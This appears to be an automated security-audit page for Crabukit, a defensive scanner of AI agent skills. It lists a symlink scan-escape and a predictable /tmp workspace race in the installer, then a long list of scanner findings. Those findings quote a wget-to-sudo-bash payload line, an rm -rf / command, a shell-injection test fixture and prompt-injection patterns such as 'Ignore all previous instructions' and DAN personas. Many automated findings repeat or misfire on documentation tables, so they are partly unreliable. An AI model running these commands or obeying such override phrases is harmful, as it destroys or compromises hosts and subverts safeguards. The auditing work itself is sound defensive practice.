Security audit

Crabukit

Security checks for vulnerabilities and agentic risk

Overview

Crabukit is a disclosed defensive scanner, but its install workflows and scan-boundary handling need Review before users trust it with untrusted skills.

Treat this as a Review install: use the scan-only command in a sandbox for untrusted skills, avoid running the shell helper as root, and do not rely on the safe-install wrappers until the symlink/file-size checks, temporary workspace creation, and scan-then-install artifact identity are tightened.

A.I.G

Vulnerability Patterns

Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally

Findings (2)

T09 · Insecure Skill Coding Practices

Warning

Location: crabukit/parsers/scripts.py:37
Finding: Scan Boundary Escape Through Symbolic Links and Unbounded File Reads
Content: View full analysis
Vulnerability Details

File Location: crabukit/parsers/scripts.py:37-47
Additional Affected Location: crabukit/parsers/skill_md.py:37-42
Vulnerability Type: Improper symbolic-link handling and unrestricted resource consumption
Risk Level: Medium

Vulnerable Code:

python
for file_path in self.scripts_dir.rglob("*"): if not file_path.is_file(): continue # Skip hidden files if file_path.name.startswith('.'): continue script = self._parse_file(file_path) if script: scripts.append(script)

python
def _parse_file(self, file_path: Path) -> Optional[ScriptFile]: """Parse a single file.""" try: content = file_path.read_text() except (IOError, UnicodeDecodeError): return None

The same issue affects SKILL.md parsing:

python
if not self.skill_md_path.exists(): return None try: content = self.skill_md_path.read_text(encoding='utf-8') except (IOError, UnicodeDecodeError) as e: return None

Technical Analysis

The scanner processes attacker-controlled directories but uses Path.is_file() and Path.read_text() without rejecting symbolic links. Both operations follow file symlinks. No resolved-path containment check verifies that a discovered file remains beneath the requested skill directory.

An attacker can therefore place a symlink such as scripts/linked.py that points to a readable file outside the skill. The scanner reads and analyzes the external target as though it belonged to the skill. If matching code or suspicious content is found, portions may be included in finding snippets and serialized output.

Neither script parsing nor SKILL.md parsing enforces a maximum file size. A symlink or ordinary file containing a very large input can consequently cause excessive memory use, AST parsing cost, regular-expression processing, and ...[truncated 1670 chars]
Remediation: View remediation
Remediation Suggestions

Reject symbolic links before reading:

python
if file_path.is_symlink(): continue

Resolve every candidate path and enforce containment:

python
root = self.skill_path.resolve() candidate = file_path.resolve(strict=True) if candidate != root and root not in candidate.parents: continue

Use lstat() when inspecting file metadata so the link itself is examined rather than its target.

Apply the same checks to SKILL.md, the scripts directory, hidden-file checks, file-type checks, and permission analysis.

Enforce conservative per-file and total-scan byte limits before reading. Read incrementally where possible rather than loading an entire file into memory.

Catch resource-related failures and report skipped files without terminating the complete scan.

Add regression tests covering:

A script symlink targeting a file outside the skill.

A symlinked SKILL.md.

Broken and recursive symlinks.

Oversized Python, shell, and Markdown files.

Verification that no content outside the scan root appears in output.

T09 · Insecure Skill Coding Practices

Warning

Location: scripts/claw-safe-install.sh:22
Finding: Predictable and Non-Exclusive Temporary Workspace in Shell Installer
Content: View full analysis
Vulnerability Details

File Location: scripts/claw-safe-install.sh:22-23, 52-59
Vulnerability Type: Unsafe temporary-directory creation
Risk Level: Medium

Vulnerable Code:

bash
local skill="$1" local fail_on="${2:-high}" # Default: fail on high severity local temp_dir="/tmp/claw-safe-install.$$" local workdir="/tmp/claw-safe-workdir.$$"

bash
# Create temp workdir mkdir -p "$workdir/skills" echo "🔒 Claw Safe Install: $skill" echo "" # Step 1: Install to temp location echo "⬇️ Step 1: Installing to temp location for scanning..." if ! CLAWDHUB_WORKDIR="$workdir" clawdhub install "$skill" 2>/dev/null; then

Technical Analysis

The installer derives its workspace name from the process ID and places it in the shared /tmp directory. Process IDs are predictable, and mkdir -p does not guarantee exclusive creation or verify that existing path components are owned by the current user and are not symbolic links.

A local attacker may pre-create the anticipated workspace or substitute it with a symlink to an attacker-controlled directory. The installer then supplies that path to clawdhub through CLAWDHUB_WORKDIR, and later scans content under the same attacker-influenced location.

The script does quote $skill in executed commands, so this is not shell command injection. The weakness concerns temporary filesystem integrity. The declared temp_dir variable is unused and provides no isolation.

Attack Path

A local attacker predicts or races the victim process ID.

The attacker pre-creates /tmp/claw-safe-workdir.<pid> or redirects it to an attacker-controlled directory.

The victim sources the wrapper and invokes claw-safe-install.

mkdir -p "$workdir/skills" accepts the pre-existing filesystem structure rather than creating a new exclusive directory.

clawdhub install writes through the attacker-influenced workspace.

The subseque ...[truncated 938 chars]
Remediation: View remediation
Remediation Suggestions

Create the workspace atomically with mktemp:

bash
umask 077 workdir="$(mktemp -d "${TMPDIR:-/tmp}/claw-safe-workdir.XXXXXXXX")" || { echo "Failed to create secure temporary directory" return 1 }

Register cleanup immediately and quote the path:

bash
trap 'rm -rf -- "$workdir"' RETURN

Verify the generated path is a directory, is not a symbolic link, and is owned by the current user before passing it to another command.

Avoid running the wrapper as root. Document that installation should occur under the intended unprivileged workspace account.

Remove the unused temp_dir variable to avoid implying that an additional secure staging directory exists.

Ensure the artifact scanned is the same artifact installed. Prefer moving the already-scanned directory into place atomically instead of downloading the skill a second time after scanning.

Add tests that pre-create candidate temporary paths and symlink components, confirming that the installer refuses unsafe filesystem state.

SkillSpector

Vulnerability Patterns

Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration

Findings (112)

Tainted flow: 'user_input' from input (line 16, user input) → subprocess.call (code execution)

Critical

Category: Data Flow
Confidence: 100% confidence
Finding: This is a confirmed tainted data flow from input() into subprocess.call(..., shell=True), demonstrating direct user-to-shell command execution. In the context of a scanner skill, this is especially dangerous because it grants an attacker or deceptive prompt a path to execute arbitrary host commands.
Content: Scanner excerpt · tests/fixtures/malicious-skill/scripts/exploit.py (reported line 17)May include surrounding context.
python
# Dangerous: subprocess with shell=True user_input = input("Enter command: ") subprocess.call(user_input, shell=True) # Dangerous: os.system with variable os.system(f"echo {user_input}")

Tainted flow: 'user_input' from input (line 16, user input) → os.system (code execution)

Critical

Category: Data Flow
Confidence: 100% confidence
Finding: This finding shows user-controlled input flowing directly into os.system, which is a shell execution primitive. The resulting command injection risk is immediate and severe because the shell will interpret special characters and chained commands.
Content: Scanner excerpt · tests/fixtures/malicious-skill/scripts/exploit.py (reported line 20)May include surrounding context.
python
subprocess.call(user_input, shell=True) # Dangerous: os.system with variable os.system(f"echo {user_input}") # Hardcoded secret (fake) API_KEY = "AKIAIOSFODNN7EXAMPLE"

Context-Inappropriate Capability

Critical

Category: Not specified by scanner
Confidence: 100% confidence
Finding: The script contains rm -rf / --no-preserve-root, an explicit whole-system deletion command. In a security scanner skill, this behavior is completely unrelated to the stated purpose and would cause catastrophic destruction of the host if executed.
Content: No source excerpt is available for this finding.

Context-Inappropriate Capability

Critical

Category: Not specified by scanner
Confidence: 100% confidence
Finding: wget -O - https://suspicious.tk/payload | sudo bash retrieves a remote payload and executes it with elevated privileges. This gives an attacker full root-level arbitrary code execution and exceeds any legitimate setup need for a scanner skill.
Content: No source excerpt is available for this finding.

Missing User Warnings

Critical

Category: Not specified by scanner
Confidence: 100% confidence
Finding: Executing a downloaded payload with sudo bash without warning combines stealth, remote code execution, and privilege escalation. This can fully compromise the host and is highly inconsistent with a scanner skill’s purpose.
Content: No source excerpt is available for this finding.

Self-Modification

High

Category: Rogue Agent
Confidence: 90% confidence
Finding: Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.
Content: Scanner excerpt · README.md (reported line 42)May include surrounding context.
md
| **Prompt Injection** | Direct, indirect, encoded, typoglycemia attacks | | **Code Vulnerabilities** | `eval()`, `exec()`, shell injection, path traversal | | **Secrets** | AWS keys, GitHub tokens, OpenAI keys, JWTs, private keys | | **AI Malware** | Self-modifying code, LLM API abuse (PROMPTFLUX patterns) | | **Supply Chain** | Typosquatting, homoglyphs, hidden files | | **Tool Misuse** | Dangerous tool combinations (Confused Deputy attacks) | | **Backdoors** | Cron jobs, SSH keys, persistent execution |

Self-Modification

High

Category: Rogue Agent
Confidence: 90% confidence
Finding: Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.
Content: Scanner excerpt · RESEARCH_SUMMARY.md (reported line 43)May include surrounding context.
md
| **Prompt Injection** | Direct, indirect, encoded, typoglycemia attacks | | **Code Vulnerabilities** | `eval()`, `exec()`, shell injection, path traversal | | **Secrets** | AWS keys, GitHub tokens, OpenAI keys, JWTs, private keys | | **AI Malware** | Self-modifying code, LLM API abuse (PROMPTFLUX patterns) | | **Supply Chain** | Typosquatting, homoglyphs, hidden files | | **Tool Misuse** | Dangerous tool combinations (Confused Deputy attacks) | | **Backdoors** | Cron jobs, SSH keys, persistent execution |

Self-Modification

High

Category: Rogue Agent
Confidence: 90% confidence
Finding: Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.
Content: Scanner excerpt · crabukit/rules/patterns.py (reported line 619)May include surrounding context.
python
| **Prompt Injection** | Direct, indirect, encoded, typoglycemia attacks | | **Code Vulnerabilities** | `eval()`, `exec()`, shell injection, path traversal | | **Secrets** | AWS keys, GitHub tokens, OpenAI keys, JWTs, private keys | | **AI Malware** | Self-modifying code, LLM API abuse (PROMPTFLUX patterns) | | **Supply Chain** | Typosquatting, homoglyphs, hidden files | | **Tool Misuse** | Dangerous tool combinations (Confused Deputy attacks) | | **Backdoors** | Cron jobs, SSH keys, persistent execution |

Self-Modification

High

Category: Rogue Agent
Confidence: 90% confidence
Finding: Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.
Content: Scanner excerpt · README.md (reported line 52)May include surrounding context.
md
- **Typoglycemia Detection**: Catches scrambled-word attacks (`ignroe` → `ignore`) - **Tool Combination Analysis**: Detects `browser + exec` download-and-execute chains - **Confused Deputy Protection**: Prevents ReAct agent injection attacks - **AI Malware Patterns**: Identifies PROMPTFLUX-style self-modifying code ## 📊 Example Output

Self-Modification

High

Category: Rogue Agent
Confidence: 90% confidence
Finding: Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.
Content: Scanner excerpt · crabukit/rules/patterns.py (reported line 602)May include surrounding context.
python
- **Typoglycemia Detection**: Catches scrambled-word attacks (`ignroe` → `ignore`) - **Tool Combination Analysis**: Detects `browser + exec` download-and-execute chains - **Confused Deputy Protection**: Prevents ReAct agent injection attacks - **AI Malware Patterns**: Identifies PROMPTFLUX-style self-modifying code ## 📊 Example Output

External Script Fetching

High

Category: Supply Chain
Confidence: 90% confidence
Finding: Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
Content: Scanner excerpt · README.md (reported line 74)May include surrounding context.
md
Combination enables download-and-execute attack chains Fix: Remove unnecessary tools; implement confirmation [CRITICAL] curl | bash pattern Downloads and executes remote code without verification Fix: Download to file, verify checksum, then execute

External Script Fetching

High

Category: Supply Chain
Confidence: 90% confidence
Finding: Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
Content: Scanner excerpt · crabukit/rules/patterns.py (reported line 244)May include surrounding context.
python
Combination enables download-and-execute attack chains Fix: Remove unnecessary tools; implement confirmation [CRITICAL] curl | bash pattern Downloads and executes remote code without verification Fix: Download to file, verify checksum, then execute

Anti-Refusal Statement

High

Category: Anti-Refusal
Confidence: 80% confidence
Finding: Skill instructs the agent to omit warnings, disclaimers, or ethical commentary. Stripping safety caveats hides risk from the user and is a common jailbreak preamble.
Content: Scanner excerpt · README.md (reported line 103)May include surrounding context.
md
→ Destructive operation without warning

YARA rule 'agent_skill_prompt_injection_hidden_instructions': Prompt injection or hidden instructions embedded in AI agent skill text [agent_skills]

High

Category: YARA Match
Confidence: 80% confidence
Finding: YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
Content: Scanner excerpt · RESEARCH_SUMMARY.md (reported line 5)May include surrounding context.
md
# 🔒 Crabukit v0.2.0 - State-of-the-Art OpenClaw Skill Scanner ## Summary of Enhancements Based on comprehensive research into AI security threats, OWASP LLM Top 10, and real-world attack patterns (including PROMPTFLUX, PROMPTSTEAL malware families), Crabukit has been upgraded with enterprise-grade security detection capabilities. --- ## 🎯 Research-Based Detection Rules ### 1. Prompt Injection Detection (OWASP LLM01) Based on research from Lakera AI, WithSecure, and OWASP: | Pattern | Description | Severity | |---------|-------------|----------| | `ignore_instructions` | "Ignore all previous instructions" | HIGH | | `developer_mode` | Privilege escalation attempts | HIGH | | `reveal_prompt` | System prompt extraction attempts | HIGH | |

Instruction Override

High

Category: Prompt Injection
Confidence: 80% confidence
Finding: This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.
Content: Scanner excerpt · RESEARCH_SUMMARY.md (reported line 17)May include surrounding context.
md
| Pattern | Description | Severity | |---------|-------------|----------| | `ignore_instructions` | "Ignore all previous instructions" | HIGH | | `developer_mode` | Privilege escalation attempts | HIGH | | `reveal_prompt` | System prompt extraction attempts | HIGH | | `dan_jailbreak` | DAN/Do Anything Now personas | MEDIUM |

Anti-Refusal Statement

High

Category: Anti-Refusal
Confidence: 80% confidence
Finding: Skill attempts to nullify the agent's safety policies or restrictions ('you have no restrictions', 'ignore your guidelines', 'do anything now'). This is a direct jailbreak that disables guardrails.
Content: Scanner excerpt · RESEARCH_SUMMARY.md (reported line 20)May include surrounding context.
md
| `ignore_instructions` | "Ignore all previous instructions" | HIGH | | `developer_mode` | Privilege escalation attempts | HIGH | | `reveal_prompt` | System prompt extraction attempts | HIGH | | `dan_jailbreak` | DAN/Do Anything Now personas | MEDIUM | | `role_play` | Persona manipulation | LOW | | `bypass_safety` | Explicit safety bypass attempts | HIGH | | `confused_deputy` | ReAct agent injection patterns | HIGH |

Self-Modification

High

Category: Rogue Agent
Confidence: 85% confidence
Finding: Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.
Content: Scanner excerpt · SECURITY.md (reported line 81)May include surrounding context.
md
1. **Scan Before Install** - Always run `crabukit scan` before installing 2. **Review Permissions** - Check what tools the skill requests 3. **Trusted Sources** - Only install from trusted publishers 4. **Keep Updated** - Update skills regularly for security patches ## Known Security Considerations

Tp4

High

Category: MCP Tool Poisoning
Confidence: 95% confidence
Finding: If the skill primarily wraps clawdhub install, downloads remote content, and writes into the workspace, then its actual trust boundary is far broader than a normal scanner. Users may run it expecting passive review, but it could fetch and stage untrusted artifacts, increasing supply-chain and execution risk.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 99% confidence
Finding: If the skill primarily wraps clawdhub install, downloads remote content, and writes into the workspace, then its actual trust boundary is far broader than a normal scanner. Users may run it expecting passive review, but it could fetch and stage untrusted artifacts, increasing supply-chain and execution risk.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 98% confidence
Finding: If the skill primarily wraps clawdhub install, downloads remote content, and writes into the workspace, then its actual trust boundary is far broader than a normal scanner. Users may run it expecting passive review, but it could fetch and stage untrusted artifacts, increasing supply-chain and execution risk.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 98% confidence
Finding: If the skill primarily wraps clawdhub install, downloads remote content, and writes into the workspace, then its actual trust boundary is far broader than a normal scanner. Users may run it expecting passive review, but it could fetch and stage untrusted artifacts, increasing supply-chain and execution risk.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 93% confidence
Finding: If the skill primarily wraps clawdhub install, downloads remote content, and writes into the workspace, then its actual trust boundary is far broader than a normal scanner. Users may run it expecting passive review, but it could fetch and stage untrusted artifacts, increasing supply-chain and execution risk.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 95% confidence
Finding: If the skill primarily wraps clawdhub install, downloads remote content, and writes into the workspace, then its actual trust boundary is far broader than a normal scanner. Users may run it expecting passive review, but it could fetch and stage untrusted artifacts, increasing supply-chain and execution risk.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 99% confidence
Finding: If the skill primarily wraps clawdhub install, downloads remote content, and writes into the workspace, then its actual trust boundary is far broader than a normal scanner. Users may run it expecting passive review, but it could fetch and stage untrusted artifacts, increasing supply-chain and execution risk.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 99% confidence
Finding: If the skill primarily wraps clawdhub install, downloads remote content, and writes into the workspace, then its actual trust boundary is far broader than a normal scanner. Users may run it expecting passive review, but it could fetch and stage untrusted artifacts, increasing supply-chain and execution risk.
Content: No source excerpt is available for this finding.

Static analysis

Detected: suspicious.dynamic_code_execution, suspicious.prompt_injection_instructions

Dynamic code execution detected.

Critical

Code: suspicious.dynamic_code_execution
Location: crabukit/rules/patterns.py:47

Dynamic code execution detected.

Critical

Code: suspicious.dynamic_code_execution
Location: tests/fixtures/malicious-skill/scripts/exploit.py:10

Prompt-injection style instruction pattern detected.

Warn

Code: suspicious.prompt_injection_instructions
Location: RESEARCH_SUMMARY.md:17

Overview

A.I.G

T09 · Insecure Skill Coding Practices

Vulnerability Details

Technical Analysis

Remediation Suggestions

T09 · Insecure Skill Coding Practices

Vulnerability Details

Technical Analysis

Attack Path

Remediation Suggestions

SkillSpector

Tainted flow: 'user_input' from input (line 16, user input) → subprocess.call (code execution)

Tainted flow: 'user_input' from input (line 16, user input) → os.system (code execution)

Context-Inappropriate Capability

Context-Inappropriate Capability

Missing User Warnings

Self-Modification

Self-Modification

Self-Modification

Self-Modification

Self-Modification

External Script Fetching

External Script Fetching

Anti-Refusal Statement

YARA rule 'agent_skill_prompt_injection_hidden_instructions': Prompt injection or hidden instructions embedded in AI agent skill text [agent_skills]

Instruction Override

Anti-Refusal Statement

Self-Modification

Tp4

Tp4

Tp4

Tp4

Tp4

Tp4

Tp4

Tp4

Static analysis

Dynamic code execution detected.

Dynamic code execution detected.

Prompt-injection style instruction pattern detected.